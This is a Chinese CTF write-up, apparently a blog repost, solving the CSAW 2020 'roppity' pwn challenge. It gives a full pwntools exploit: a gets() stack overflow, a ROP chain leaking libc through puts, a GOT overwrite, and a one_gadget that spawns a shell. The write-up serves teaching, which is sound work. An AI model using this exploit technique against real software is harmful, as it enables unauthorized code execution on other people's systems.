CSAW 2020 Quals: 栈溢出与 ROP

分析

题目:roppity

类型:pwn、栈溢出、rop、got 覆写

先看看程序开启了哪些安全编译选项,如下所示,只是开启了堆栈不可执行,看样子难度不大

lys@ubuntu:~/Documents/pwn$ checksec rop
[*] '/home/lys/Documents/pwn/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

运行一下程序,看看基本的功能,程序默认输出 Hello,还会接受一个用户输入

lys@ubuntu:~/Documents/pwn$ ./rop 
Hello
1243

使用 file 命令,检查程序的基本信息,发现程序没有 strip,保留了符号表,有利于后续分析

lys@ubuntu:~/Documents/pwn$ file rop
rop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5d177aa372f308c07c8daaddec53df7c5aafd630, not stripped

将二进制拖到 IDA

在这里插入图片描述
发现代码的逻辑相当简单,puts 函数输出 Hello,gets 函数接收用户输入,除此之外,再无别的函数。漏洞点也很明显,gets 函数会使得栈溢出。

源代码中,并没有 system 或者 execv 这样的函数,那么就要利用栈溢出覆盖到 libc 上的库函数

  • 关键点一:如何泄漏 libc 的地址
  • 关键点二:如何构造 rop

利用 puts 函数泄漏 libc 基地址

利用 puts 函数,修改返回地址为 puts,但是在此之前需要修改 puts 的参数。64 位程序使用 rdi 传递参数,因此,rop 常用的修改参数指令pop rdi

使用 ROPgadget,在 rop 文件中,找到构造 ROP 需要的关键汇编指令

$ ROPgadget --binary rop --only "pop|ret" | grep rdi
0x0000000000400683 : pop rdi ; ret

构造 rop,泄漏 libc 基地址

payload = "a" * 0x28
payload += p64(pop_rdi_ret)
payload += p64(rop.got["puts"])
payload += p64(rop.plt["puts"])
sh.sendline(payload)

这里值得注意的一点是,怎么正确处理接收到的字符,并将其转换为地址

[DEBUG] Received 0x7 bytes:
    00000000  a0 16 18 63  b8 7f 0a                               │···c│···│
    00000007
[*] ---- \xa0\x16c\xb8\x7f
[*] Stopped process './rop' (pid 3604)

上面打印的调试信息,接收到 7 个字符,末尾 0x0a 是换行符!而且字符串长度不足 8 字节,使用 u64() 解包为十六进制,需要填充至 8 字节

  • 需要使用 python 自带的 strip() 函数,将末尾空白/换行字符处理掉
  • ljust 调整字符串长度为 8,且使用 \x00 填充,不填充会自动填充 2020 年份!

打印 libc 基地址

puts_addr = u64(sh.recv().strip().ljust(8, "\x00"))
libc_base = puts_addr - libc.sym["puts"]
log.info("libc base address: 0x%x", libc_base)

利用 gets 函数修改 puts 的 got 表

如果修改 puts 的 got 表为我们的 gadget,那么在调用 puts 的时候,实际上就会执行我们那个地址上的相应代码(gadget),达到 getshell 的效果。因此,这里可以使用 gets 函数,将 gets 函数的参数修改为 got 表中的函数,那么用户的输入就会传进 got 表,修改相应函数

payload += p64(pop_rdi_ret)
payload += p64(rop.got["puts"])
payload += p64(rop.plt["gets"])
payload += p64(rop.plt["puts"])

利用 one_gadget 找到 libc 中的 one gadget

lys@ubuntu:~/Documents/pwn$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

最终的 gadget 如下

one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]
sh.sendline(p64(libc_base + one_gadget[1]))

备注:原本想着不修改 got 表,在泄露 libc 的地址之后,再次执行 main 函数,利用栈溢出再次覆盖返回地址为 gadget,后来发现,泄露 libc 之后,没有办法执行两次 main

writeup

from pwn import *

context(log_level="debug")
rop = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

sh = process("./rop")
sh.recvuntil("Hello\n")

pop_rdi_ret = 0x400683
payload = "a" * 0x28
payload += p64(pop_rdi_ret)
payload += p64(rop.got["puts"])
payload += p64(rop.plt["puts"])

payload += p64(pop_rdi_ret)
payload += p64(rop.got["puts"])
payload += p64(rop.plt["gets"])
payload += p64(rop.plt["puts"])

sh.sendline(payload)
puts_addr = u64(sh.recv().strip().ljust(8, "\x00"))
libc_base = puts_addr - libc.sym["puts"]
log.info("libc base address: 0x%x", libc_base)

one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]
sh.sendline(p64(libc_base + one_gadget[1]))
sh.interactive()

总结

本题相对容易,利用 puts 函数泄漏 libc 的基地址,再利用 gets 函数改写 puts 的 got 表为 shell,那么再次执行 puts,即可获取 shell。

猜你喜欢

转载自blog.csdn.net/song_lee/article/details/108585728
ROP